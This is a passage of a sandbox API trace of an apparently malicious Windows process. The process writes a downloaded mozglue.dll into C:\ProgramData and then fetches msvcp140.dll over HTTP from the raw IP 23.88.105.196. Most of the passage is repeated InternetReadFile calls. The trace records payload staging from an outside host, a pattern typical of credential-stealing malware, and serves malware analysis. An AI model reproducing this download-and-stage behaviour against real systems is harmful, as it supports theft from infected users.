lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.620] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344a628, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344a628*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.620] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344aa10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344aa10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.620] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344adf8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344adf8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.620] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344b1e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344b1e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.620] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344b5c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344b5c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.620] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344b9b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344b9b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.620] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344bd98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344bd98*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.621] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344c180, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344c180*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.621] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344c568, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344c568*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.621] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344c950, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344c950*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.621] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344cd38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344cd38*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.621] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344d120, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344d120*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.621] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344d508, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344d508*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.622] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344d8f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344d8f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.622] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344dcd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344dcd8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.622] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344e0c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344e0c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.622] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344e4a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344e4a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.622] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344e890, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344e890*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.622] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344ec78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344ec78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.622] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344f060, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344f060*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.623] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344f448, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344f448*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.623] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344f830, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344f830*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.623] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344fc18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344fc18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.623] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3450000, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3450000*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.623] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34503e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34503e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.623] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34507d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34507d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.623] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3450bb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3450bb8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.624] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3450fa0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3450fa0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.624] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3451388, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3451388*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.624] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3451770, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3451770*, lpdwNumberOfBytesRead=0x19f5f0*=0xa8) returned 1 [0095.624] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3451818, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3451818*, lpdwNumberOfBytesRead=0x19f5f0*=0x0) returned 1 [0095.629] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0 | out: lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0) returned 0 [0095.629] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0095.629] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0095.629] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0095.629] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111068 | out: hHeap=0x2110000) returned 1 [0095.629] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0095.629] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111040 [0095.629] CreateFileA (lpFileName="C:\\ProgramData\\\\mozglue.dll" (normalized: "c:\\programdata\\mozglue.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28 [0095.629] WriteFile (in: hFile=0x28, lpBuffer=0x3430048*, nNumberOfBytesToWrite=0x217d0, lpNumberOfBytesWritten=0x19f7cc, lpOverlapped=0x0 | out: lpBuffer=0x3430048*, lpNumberOfBytesWritten=0x19f7cc*=0x217d0, lpOverlapped=0x0) returned 1 [0095.633] CloseHandle (hObject=0x28) returned 1 [0095.635] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0095.635] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111040 [0095.635] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111068 [0095.635] GetLastError () returned 0x0 [0095.635] SetLastError (dwErrCode=0x0) [0095.635] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0095.635] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f770, dwBufferLength=0x4) returned 1 [0095.635] InternetConnectA (hInternet=0xcc0004, lpszServerName="23.88.105.196", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0095.635] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/msvcp140.dll", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0095.636] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21111c0 [0095.636] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0095.636] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0095.636] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0095.636] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0095.636] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0095.636] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1 [0095.671] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.671] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3430048, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3430048*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.672] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3430430, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3430430*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.672] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3430818, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3430818*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.672] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3430c00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3430c00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.672] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3430fe8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3430fe8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34313d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34313d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34317b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34317b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3431ba0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3431ba0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3431f88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3431f88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3432370, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3432370*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.673] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3432758, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3432758*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.674] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3432b40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3432b40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.674] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3432f28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3432f28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.674] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3433310, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3433310*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.674] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34336f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34336f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.674] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3433ae0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3433ae0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.674] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3433ec8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3433ec8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34342b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34342b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3434698, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3434698*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3434a80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3434a80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3434e68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3434e68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3435250, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3435250*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3435638, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3435638*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.675] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3435a20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3435a20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3435e08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3435e08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34361f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34361f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34365d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34365d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34369c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34369c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3436da8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3436da8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3437190, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3437190*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3437578, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3437578*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3437960, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3437960*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3437d48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3437d48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3438130, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3438130*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3438518, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3438518*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3438900, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3438900*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3438ce8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3438ce8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.677] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34390d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34390d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34394b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34394b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34398a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34398a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3439c88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3439c88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343a070, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343a070*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343a458, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343a458*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343a840, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343a840*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.678] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343ac28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343ac28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.679] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343b010, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343b010*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.679] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343b3f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343b3f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.679] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343b7e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343b7e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.679] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343bbc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343bbc8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.679] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343bfb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343bfb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343c398, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343c398*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343c780, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343c780*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343cb68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343cb68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.680] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343cf50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343cf50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.681] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343d338, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343d338*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.682] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343d720, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343d720*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.684] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343db08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343db08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.684] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343def0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343def0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.684] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343e2d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343e2d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.686] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343e6c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343e6c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.688] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343eaa8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343eaa8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.689] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343ee90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343ee90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.689] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343f278, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343f278*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.689] InternetReadFile (in: 